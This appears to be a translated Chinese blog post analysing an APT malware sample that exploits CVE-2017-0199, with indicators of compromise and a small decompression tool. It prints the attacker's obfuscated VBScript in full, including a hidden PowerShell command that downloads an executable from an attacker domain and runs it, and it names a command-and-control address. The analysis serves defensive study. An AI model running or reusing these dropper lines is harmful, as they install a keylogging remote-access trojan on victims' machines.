zoukankan      html  css  js  c++  java
  • 带你走进二进制-一次APT攻击分析

    由prison翻译整理,首发i春秋
     
    引言;
     
    这是一次来自遥远国度的APT攻击分析样本范例,本文作者将带领你体验二进制漏洞分析的乐趣。
     
    过程非常详细,附带所需样本,适合新手。难度三颗星。
    目标文件:
    我发现这里存在 CVE-2017-0199,这样就让我们找payload变得简单了。

    1.png

    b = '00000068007400740070003a002f002f006d006f007a0069006c006c00610074006d002e0063006f006d002f006c006f006100640069006e0067002e00680074006d006c00000000'
      
    "".join("{0}".format((i+j).replace('00','').decode('hex')) for i, j in zip(b[::2], b[1::2]))
      
    >> 'http://mozillatm.com/loading.html'
    这个漏洞将会交付一个恶意的HTA文件并执行它。HTA意味着IE,所以VBScript将会很好地执行。
    一旦我们访问了这个页面,我们就可以看到这个被混淆的的VBScript,它会执行PowerShell并将恶意软件投放到系统中。

    2.png

    你可以从这里参考
    这个环节开始变得有意思起来了。
    fuNctioN gJSoYXXAVqwD()
      
        DIM taCXnLuJDFFL
      
        taCXnLuJDFFL = cHRW(34)
         CReaTEoBJecT(HLJlzxWsFMxQ(CGUgZBJuvRsW("V1RzVENUUlRJVHBUVFQuVHNUaFRlVExUTFQ="))).expANdEnVIRoNMEnTSTrInGS(HLJlzxWsFMxQ(CGUgZBJuvRsW("JVpzWnlac1p0WmVaTVpSWm9ab1pUWiVa")))
         HLJlzxWsFMxQ(CGUgZBJuvRsW("XGtTa3lrU2tUa0VrTWszazJrXGtXa2lrTmtEa29rV2tTa3Brb2tXa0Vrcmtza0hrRWtMa0xrXGt2azFrLmswa1xrcGtva3drZWtSa3NraGtFa0xrTGsua2VreGtFaw=="))
         ChRw(34)
      
        CreAtEOBJeCt(HLJlzxWsFMxQ(CGUgZBJuvRsW("d0FzQWNBckFJQXBBdEEuQXNBaEFFQWxBbEE="))).run taCXnLuJDFFL
         " POwerShELL.exe -EXECUtIOnPOlIcY BYPaSS -noPROfiLE -WInDoWStYlE HiDDen -EnCOdedCommAnD IAAoAG4ARQB3AC0AbwBCAEoARQBDAHQAIABTAHkAcwBUAEUATQAuAE4AZQBUAC4AVwBlAGIAYwBMAGkAZQBOAFQAKQAuAEQAbwB3AG4ATABPAEEARABGAGkATABFACgAIAAdIGgAdAB0AHAAOgAvAC8AbQBvAHoAaQBsAGwAYQB0AG0ALgBjAG8AbQAvAGwAbwBhAGQAaQBuAGcALgBlAHgAZQAdICAALAAgAB0gJABFAG4AdgA6AFQATQBQAFwAQwBoAHIAbwBtAGUAdABtAC4AZQB4AGUAHSAgACkAIAA7ACAAcwBUAEEAcgBUACAAHSAkAEUAbgB2ADoAdABNAFAAXABDAGgAcgBvAG0AZQB0AG0ALgBlAHgAZQAdIA== " , 0
      
    eND fUnCtioN

    [/table]

    但是如果先不管被混淆的代码,直接调试代码的话,最终”taCXnLuJDFFL”这个变量将会被包含进去。
    ""C:WindowsSySTEM32WiNDoWSpoWErsHELLv1.0poweRshELL.exE""

    [table=98%]

    3.png

    伪代码可以这样写:

    Set oShell = WScript.CreateObject ("WSCript.shell")
    oShell.run  ""C:WindowsSySTEM32WiNDoWSpoWErsHELLv1.0poweRshELL.exE""  & " POwerShELL.exe -EXECUtIOnPOlIcY BYPaSS -noPROfiLE -WInDoWStYlE HiDDen -EnCOdedCommAnD IAAoAG4ARQB3AC0AbwBCAEoARQBDAHQAIABTAHkAcwBUAEUATQAuAE4AZQBUAC4AVwBlAGIAYwBMAGkAZQBOAFQAKQAuAEQAbwB3AG4ATABPAEEARABGAGkATABFACgAIAAdIGgAdAB0AHAAOgAvAC8AbQBvAHoAaQBsAGwAYQB0AG0ALgBjAG8AbQAvAGwAbwBhAGQAaQBuAGcALgBlAHgAZQAdICAALAAgAB0gJABFAG4AdgA6AFQATQBQAFwAQwBoAHIAbwBtAGUAdABtAC4AZQB4AGUAHSAgACkAIAA7ACAAcwBUAEEAcgBUACAAHSAkAEUAbgB2ADoAdABNAFAAXABDAGgAcgBvAG0AZQB0AG0ALgBlAHgAZQAdIA== " , 0
    一旦我们破解了为powershell提供的编码命令,我们就能看到被下载的恶意软件。
    这是一个PowerShell一行程序将恶意软件从http://mozillatm.com/loading.exe并将其保存到% TMP%文件夹类似于“Chrometm.exe”
    这个恶意软件是用可视化的Basic语言编写的,并且高度混淆。我把这个样本提交给了Malwr.com,你可以在这里查看完整的分析。
    攻击者似乎使用的是RAT。

    4.png

    在运行之后,它会将自己的程序“mozillatm.exe”复制到“program files”文件夹中。我们可以自行进入检查下。另一个exe是“Mozillatms.exe “在”system32“文件夹中,注意这个’s’,看起来像是一种备份。

    5.png

    Program Files中复制的文件:

    6.png

    然而机智如我注意到一些不一样的地方。在64位机器中恶意软件将会把它自己复制到“C:windowsSysWow64” 文件夹中,那么这个自动生成的秘钥就不会在64位下的机器中运行,这说明这个恶意软件的备份在64位下的机器中将会失效。

    7.png

    “Mozillatm.exe”将是我们的恶意可执行文件。

    8.png

    该恶意软件将与C&C通信,IP地址为162.248.92.28:131106。

    9.png

    这个恶意软件将会存储截屏、按键记录并将它们发送到C&C服务器。它们位于%USERPROFILE%AppDataRoamingMozillatms

    10.png

    11.png

    按键日志可以在“logs”文件夹中找到。

    12.png

    屏幕快照数据使用压缩算法进行二次压缩,但是可以轻松地解压。

    13.png

    我编写了一个简单的工具来使用压缩算法执行压缩和解压。

    /*
     * Title: Deflate Tool
     * Purpose: Compress and decompress files using the Deflate algorithm
     * Author: Osanda Malith Jayathissa (@OsandaMalith)
     * Website: [url]https://OsandaMalith.com[/url]
     */
    using System;
    using System.Collections.Generic;
    using System.Linq;
    using System.Text;
    using System.Threading.Tasks;
    using System.IO;
    using System.IO.Compression;
     
    namespace compress2
    {
        class Program
        {
            static void Main(string[] args)
            {
                Console.WriteLine("[~] Deflate Tool - @OsandaMalith ");
     
                if (args.Length != 3)
                {
                    Console.WriteLine("Usage: {0} input.dat output.dat -c or -d", System.AppDomain.CurrentDomain.FriendlyName);
                    System.Environment.Exit(-1);
                }
     
                DeflateStream deflate = null;
                FileStream sink = null;
                FileStream source = new FileStream(Environment.GetCommandLineArgs()[1], FileMode.Open);
     
                if (Environment.GetCommandLineArgs()[3].Substring(1, 1).Equals("d"))
                {
                    deflate = new DeflateStream(source, CompressionMode.Decompress);
                    sink = new FileStream(Environment.GetCommandLineArgs()[2], FileMode.Create);
     
                    byte[] buffer = new byte[source.Length];
                    buffer = new byte[source.Length];
     
                    deflate.Read(buffer, 0, buffer.Length);
                    sink.Write(buffer, 0, buffer.Length);
                    sink.Close();
                }
                else if (Environment.GetCommandLineArgs()[3].Substring(1, 1).Equals("c"))
                {
                    deflate = new DeflateStream(source, CompressionMode.Compress);
                    sink = new FileStream(Environment.GetCommandLineArgs()[2], FileMode.Create);
                    byte[] buffer = new byte[source.Length];
                    source.Read(buffer, 0, buffer.Length);
                    deflate.Write(buffer, 0, buffer.Length);
                    sink.Write(buffer, 0, buffer.Length);
                    sink.Close();
                }
                else
                {
                    Console.WriteLine("Enter an option -c compress or -d decompress");
                    System.Environment.Exit(-1);
                }
     
                source.Close();
            
            }
        }
    }

    这是恶意软件的截图。

    14.jpg

    出于好奇,我查看了C&C IP地址162.248.92.28,发现使用了Squid代理。

    15.png

    但是,它使用HTTP身份验证。

    16.png

    通过使用谷歌搜索,我发现这些域名也是使用相同的恶意软件进行攻击的变种。

    ·         Bd2bd.com
    ·         Pc-net.org
    ·         Bd-pc.com
    ·         Registerbd.com
    ·         
    附上我分析过的样本:
    Filename: A0Jst6jAd7CYerrqFmwb4wqDLa5XHPW_May_2017.doc
    SHA256: 273b0fc627daefd0fbae209e5fa1ea619bfb177a1b0ae2d55a606cf2c6ec2674
    https://virustotal.com/en/file/273b0fc627daefd0fbae209e5fa1ea619bfb177a1b0ae2d55a606cf2c6ec2674/analysis/1496541543/
  • 相关阅读:
    【转】Java抽象类与接口的区别
    【转】java方法参数传递方式--按值传递、引用传递
    关联mysql失败_Server returns invalid timezone. Go to 'Advanced' tab and set 'serverTimezon'
    分词器的安装与使用
    Mysql、ES 数据同步
    ES、kibana安装及交互操作
    tl-wr742n 怎么设置dns
    tl-wr742n无线路由器怎么设置
    PowerMock学习(十一)之Mock private methods的使用
    PowerMock学习(十)之Mock spy的使用
  • 原文地址:https://www.cnblogs.com/ichunqiu/p/7340499.html
Copyright © 2011-2022 走看看